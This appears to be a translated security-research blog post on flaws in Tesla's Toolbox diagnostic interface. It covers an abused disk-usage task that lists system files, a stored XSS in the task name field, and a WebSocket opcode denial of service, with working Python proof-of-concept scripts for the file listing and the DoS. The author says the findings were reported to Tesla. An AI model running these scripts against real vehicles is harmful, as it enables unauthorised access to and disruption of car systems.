几个月前,我有机会研究了特斯拉的Toolbox,这是一个针对特斯拉车辆的基于网络的诊断界面。当时我使用的是一个较旧的固件版本,这使我能够发现一些已经被修复的漏洞。我还找到了一个未被修复的漏洞,它在最新的固件版本中仍然有效,下面我会详细说明。
The Toolbox
大多数车辆都有OBD2端口,并通过OBD2端口的CAN通信提供诊断服务。而特斯拉则使用了一个基于以太网的诊断环境称为Toolbox,它作为一个Web前端。
对于Model 3和Model Y,你可以通过如图所示的线缆连接你的特斯拉和PC来访问诊断服务。线缆的一端通过RJ45接口连接到PC上,另一端的4针接口则连接到驾驶座左侧下方的诊断端口。这种线缆在Aliexpress或Amazon上都能轻松买到。
Tesla Toolbox 诊断线缆
驾驶座左侧下方的4针诊断端口
可以通过以下链接访问特斯拉Toolbox:https://toolbox.tesla.com/,并需要付费订阅。要连接你的车辆,请访问该链接并点击右上角的灰色框。
为了使用特斯拉Toolbox进行诊断,PC的IP地址必须位于车辆的网络地址空间内。我将PC的IP地址设置为192.168.90.110/255.255.255.0。任何位于192.168.90.0/24子网内的IP地址,只要没有分配给车辆的ECU(电子控制单元)都可以。这里有一份我在网上找到的特斯拉ECU的IP地址列表。负责诊断服务的ECU是CID/ICE,其地址为192.168.90.100。
ECU | IP Address | Description |
---|---|---|
CID/ICE | 192.168.90.100 | Controls the display and media systems. |
Autopilot (primary) | 192.168.90.103 | Controls the autopilot system. |
Autopilot (secondary) | 192.168.90.105 | Backup autopilot system. |
Gateway | 192.168.90.102 | Controls the switch, vehicle config, and proxies requests between the ethernet side and the CAN BUS. |
Modem | 192.168.90.60 | LTE modem. |
Tuner | 192.168.90.60 | AM/FM radio. Not present on newer Model 3 cars. |
The patched
目录列表
快速查看Toolbox后,我发现车辆和PC之间通过WebSocket在端点ws://192.168.90.100:8080/api/v1/products/current/messages/commands进行通信。
通信使用的JSON数据格式如下:
{
"request_id": "007b45c3-ed94-4804-9928-93e0cbf4a0d1",
"request_payload": {
"command": "get_vin",
"request_id": "007b45c3-ed94-4804-9928-93e0cbf4a0d1",
"message_type": "command",
"broadcast_permanent_topics": true
},
"response": null,
"hermes_status": 3202
}
get_vin
status
execute
list_tasks
ping
lock
unlock
start_orchestrator
stop_orchestrator
list_requests
cancel_request
read_dtcs
clear_dtcs
下面是list_tasks
命令的部分输出。name
字段是你能够请求的命令。
.
.
.
{
"title": "DAS Capture Image",
"description": "",
"dependencies": "",
"cancelable": true,
"valid_states": [
"StandStill|Parked"
],
"post_fusing_allowed": false,
"message": {
"command": "execute",
"args": {
"name": "Common/tasks/PROC_DAS_X_CAPTURE-IMAGE"
}
},
"name": "PROC_DAS_X_CAPTURE-IMAGE",
"inputs": {}
},
.
.
.
list_tasks
命令获得的任务时,猜测TEST-BASH_ICE_X_CHECK-DISK-USAGE
命令内部绑定到了du
命令,并且在检查了一些du
命令的选项未被过滤后,我确认可以通过设置类似-ahld100
这样的选项来列出所需的目录文件。{
"title": "ICE Check Disk Usage",
"description": "Check disk usage in a list of paths, default includes common files like caches",
"dependencies": "",
"cancelable": false,
"valid_states": [
"StandStill|Drive",
"StandStill|Neutral",
"StandStill|Parked",
"Moving|Drive",
"Moving|Neutral"
],
"post_fusing_allowed": false,
"message": {
"command": "execute",
"args": {
"name": "Common/tasks/TEST-BASH_ICE_X_CHECK-DISK-USAGE"
}
},
"name": "TEST-BASH_ICE_X_CHECK-DISK-USAGE",
"inputs": {
"directories": {
"datatype": "List",
"default": [
"/home/tesla/.Tesla/data/drivenotes",
"/home/tesla/.Tesla/cache",
"/home/tesla/.Tesla/cache/map_tiles_v3/tile_cache",
"/home/tesla/.Tesla/data/screenshots",
"/home/tesla/.crashlogs",
"/home/tesla/media",
"/home/ecallclient/.Tesla/data",
"/home/gpsmanager/.Tesla/data",
"/home/mediaserver/.Tesla/data",
"/home/monitord/.Tesla/data",
"/home/spotify/.Tesla/data",
"/home/tesla/.Tesla/data",
"/home/tuner/.Tesla/data",
"/home/qtaudiod/.Tesla/data",
"/home/mediaserver/cache",
"/home/dashcam"
]
},
"parameters": {
"datatype": "List",
"default": [
"-sm"
]
}
}
}
import asyncio
import websockets
import json
import time
import sys
async def webs_fuzz():
async with websockets.connect("ws://192.168.90.100:8080/api/v1/products/current/messages/commands") as websocket:
msg = {
"command":"execute",
"args":
{
"name":"Common/tasks/TEST-BASH_ICE_X_CHECK-DISK-USAGE",
"kw":
{
"directories":[sys.argv[1]],
"parameters":["-ahld100"]
}
},
"skip_vehicle_checks":"false",
"request_id":"tbx3-214b9a22-80cd-4b63-8ab8-19cdb923b151",
"token":"Something",
"intermediate_certificate":"-----BEGIN CERTIFICATE-----nredactedn-----END CERTIFICATE-----n"
}
}
msg = json.dumps(msg)
await websocket.send(msg)
time.sleep(0.5)
res = await websocket.recv()
res = await websocket.recv()
print(json.dumps(json.loads(res), indent=4))
start_server = websockets.serve
asyncio.get_event_loop().run_until_complete(webs_fuzz())
现在起我可以查看哪些文件存在于 CID/ICE 系统中,我搜索了一些 Toolbox 网络服务器上的文件。网络服务器目录的位置是 `/opt/odin/core/engine/`,不幸的是,大多数文件都经过了白名单过滤,我只能读取像 `/opt/odin/core/engine/assets/img/starman_750x750.png` 这样的图片文件。
Stored XSS
`http://192.168.90.100:8080` 端点记录了已完成的诊断任务及其执行结果,该端点的 `”name”: “Common/tasks/TEST-BASH_ICE_X_CHECK-DISK-USAGE”` 字段没有经过 XSS 过滤,从而导致了一个存储型 XSS 漏洞。
攻击者可以将恶意 JavaScript 代码注入到 `name` 参数中,当服务中心访问该端点时,就会执行攻击者的 JavaScript 代码。
"22.5Kt/usr/bin/vsomeipd",
"2.5Kt/usr/etc/vsomeip/vsomeip-local.json",
"1.5Kt/usr/etc/vsomeip/vsomeip-tcp-client.json",
"2.5Kt/usr/etc/vsomeip/vsomeip-tcp-service.json",
"1.5Kt/usr/etc/vsomeip/vsomeip-udp-client.json",
"2.5Kt/usr/etc/vsomeip/vsomeip-udp-service.json",
"1.5Kt/usr/etc/vsomeip/vsomeip.json",
"12.0Kt/usr/etc/vsomeip"
"35.5Kt/etc/vsomeip.json",
"0t/usr/lib/libCommonAPI-SomeIP.so",
"2.7Mt/usr/lib/libCommonAPI-SomeIP.so.3.1.10",
"0t/usr/lib/libvsomeip-cfg.so",
"0t/usr/lib/libvsomeip-cfg.so.2",
"275.5Kt/usr/lib/libvsomeip-cfg.so.2.7.0",
"0t/usr/lib/libvsomeip-diagnosis-plugin-mgu.so",
"0t/usr/lib/libvsomeip-diagnosis-plugin-mgu.so.1",
"18.0Kt/usr/lib/libvsomeip-diagnosis-plugin-mgu.so.2.7.0-1.0.0",
"0t/usr/lib/libvsomeip-sd.so",
"0t/usr/lib/libvsomeip-sd.so.2",
"287.5Kt/usr/lib/libvsomeip-sd.so.2.7.0",
"0t/usr/lib/libvsomeip.so",
"0t/usr/lib/libvsomeip.so.2",
"1.4Mt/usr/lib/libvsomeip.so.2.7.0",
在使用Web代理工具观察WebSocket连接的参数时,我发现了一些奇怪的现象。
有时候,当向WebSocket发送语法不正确的JSON数据请求(例如:“{“)之后再发送正常的list_task
命令,会返回一个500错误消息,如图所示,并且此后便无法通过Toolbox连接到车辆。
• FIN(1位):指示是否为消息中的最后一个片段。第一个片段通常将这一位设置为1。
• RSV1, RSV2, RSV3(各1位):保留位。除非已协商定义了非零值的意义的扩展,否则必须设置为0。
• opcode(4位):定义了如何解释负载数据。如果接收到未知的opcode,接收端必须关闭连接。
• MASK(1位):指示消息负载是否被掩码。如果设置为1,则在头部中包含了掩码密钥。
opcode的类型
• 0x0 – 连续帧
• 0x1 – 文本帧
• 0x2 – 二进制帧
• 0x3-7 – 保留用于进一步的非控制帧
• 0x8 – 连接关闭
• 0x9 – Ping
• 0xA – Pong
• 0xB-F – 保留用于进一步的控制帧
我立即编写了一个概念验证(POC)代码,并将其提交给了特斯拉。
import json
import socket
import struct
import secrets
import select
from random import choice
def connect_to_server(host, dst_port):
client_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
client_socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
client_socket.connect((host, dst_port))
client_socket.settimeout(0.2)
return client_socket
# Upgrade to Websocket Connection
def send_handshake_request(client_socket, host, path, port):
request = "GET {} HTTP/1.1rn".format(path)
request += "Host: {}:{}rn".format(host, port)
request += "Connection: Upgradern"
request += "Pragma: no-cachern"
request += "Cache-Control: no-cachern"
request += "User-Agent: no-cachern"
request += "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36rn"
request += "Upgrade: websocketrn"
request += "Origin: https://toolbox.tesla.comrn"
request += "Sec-WebSocket-Version: 13rn"
request += "Accept-Encoding: gzip, deflatern"
request += "Accept-Language: ko-KR,ko;q=0.9,en-US;q=0.8,en;q=0.7rn"
request += "Sec-WebSocket-Key: uKtd9i3rUH7gk7s7RB0gyA==rnrn"
client_socket.send(request.encode('utf-8'))
def receive_handshake_response(client_socket):
response = ""
while True:
try:
data = client_socket.recv(1024).decode('utf-8')
response += data
if "rnrn" in response:
break
except socket.timeout:
break
return response
def parse_handshake_response(response):
lines = response.split("rn")
status_line = lines[0]
headers = {}
for line in lines[1:]:
if ": " in line:
key, value = line.split(": ")
headers[key] = value
return status_line, headers
# Send data include Websocket header
def send_data(client_socket, data, opcode=1):
mask = secrets.token_bytes(4)
payload_length = len(data)
if payload_length <= 125:
header = struct.pack('>BB', 0x80 | opcode, 0x80 | payload_length)
elif payload_length <= 65535:
header = struct.pack('>BBH', 0x80 | opcode, 0x80 | 126, payload_length)
else:
header = struct.pack('>BBQ', 0x80 | opcode, 0x80 | 127, payload_length)
masked_data = bytearray(data.encode('utf-8'))
for i in range(payload_length):
masked_data[i] ^= mask[i % 4]
packet = header + mask + masked_data
try:
client_socket.send(packet)
return True
except ConnectionAbortedError:
return False
def receive_all(client_socket):
data = b''
while True:
try:
chunk = client_socket.recv(1024)
if not chunk:
break
data += chunk
except TimeoutError:
break
return data
def receive_data(client_socket, bytes):
data = b''
try:
return client_socket.recv(bytes)
except socket.timeout:
return data
def run_websocket_client(host, dst_port, path):
client_socket = connect_to_server(host, dst_port)
send_handshake_request(client_socket, host, path, dst_port)
response = receive_handshake_response(client_socket)
parse_handshake_response(response)
return client_socket
if __name__ == "__main__":
host = "192.168.90.100"
port = 8080
path = "/api/v1/products/current/messages/commands"
# ** You have to change the token value with valid one so that you can use `list_tasks` commands **
# ** Simply copy the whole JSON data from developer tools and paste right next to task_list_msg variable **
task_list_msg = {"command":"list_tasks","request_id":"tbx3-f0052249-23dd-4b2c-8281-c7b8e20469e0","token":"redacted","tokenv2":{"token":"redacted","intermediate_certificate":"-----BEGIN CERTIFICATE-----nredactedn-----END CERTIFICATE-----n"}}
task_list_msg = json.dumps(task_list_msg,separators=(",", ":"))
# Any character that doesn't comply with the JSON syntax would be ok
vuln_msg = "{"
while True:
task_list_msg_socket = run_websocket_client(host, port, path)
vuln_msg_socket = run_websocket_client(host, port, path)
# Sending an invalid JSON message
send_data(vuln_msg_socket, vuln_msg)
# You'll get an error message
receive_all(vuln_msg_socket)
# Sending a `list_tasks` command request which respond with multiple websocket packets
send_data(task_list_msg_socket, task_list_msg)
# Normal response of `list_tasks` request
receive_all(task_list_msg_socket)
# Normal response of `list_tasks` request also duplicated on vuln_msg_socket
receive_all(vuln_msg_socket)
inputs = [vuln_msg_socket]
try:
# You must send Websocket data with an opcode that server cannot handle properly at the same time as you are receiving websocket messages
while True:
readable, writeable, exceptional = select.select(inputs, [], [])
for s in readable:
try:
d = s.recv(512)
# Except for 0x1, 0x2, 0x9, and 0xA, other opcodes are not handled correctly
send_data(s, vuln_msg, choice([0x0, 0x3, 0x4, 0x5, 0x6, 0x7, 0x8, 0xb, 0xc, 0xd, 0xe, 0xf]))
except (ConnectionResetError, BrokenPipeError, ConnectionAbortedError):
print("DOS Succeeded!")
exit()
if d.decode("utf-8", errors="replace").find("hermes_status") > -1:
s.close()
break
except KeyboardInterrupt:
exit()
except ValueError:
continue
寻找漏洞最重要的一点是,仅仅因为某件事会导致意外的行为,并不意味着它就是一个漏洞。由于特斯拉的诊断功能需要本地连接到PC,即使发生了DOS攻击,也可以通过重启车辆来恢复,因此这种攻击的影响很小,很难构想出有效的攻击场景,所以我报告的这个漏洞并没有得到认可。
虽然有些遗憾,但重要的是我在寻找漏洞的过程中享受到了乐趣,并学到了很多东西,很高兴能分享这次经历。
原文始发于微信公众号(安全脉脉):探索Tesla 隐藏的安全漏洞 —— Toolbox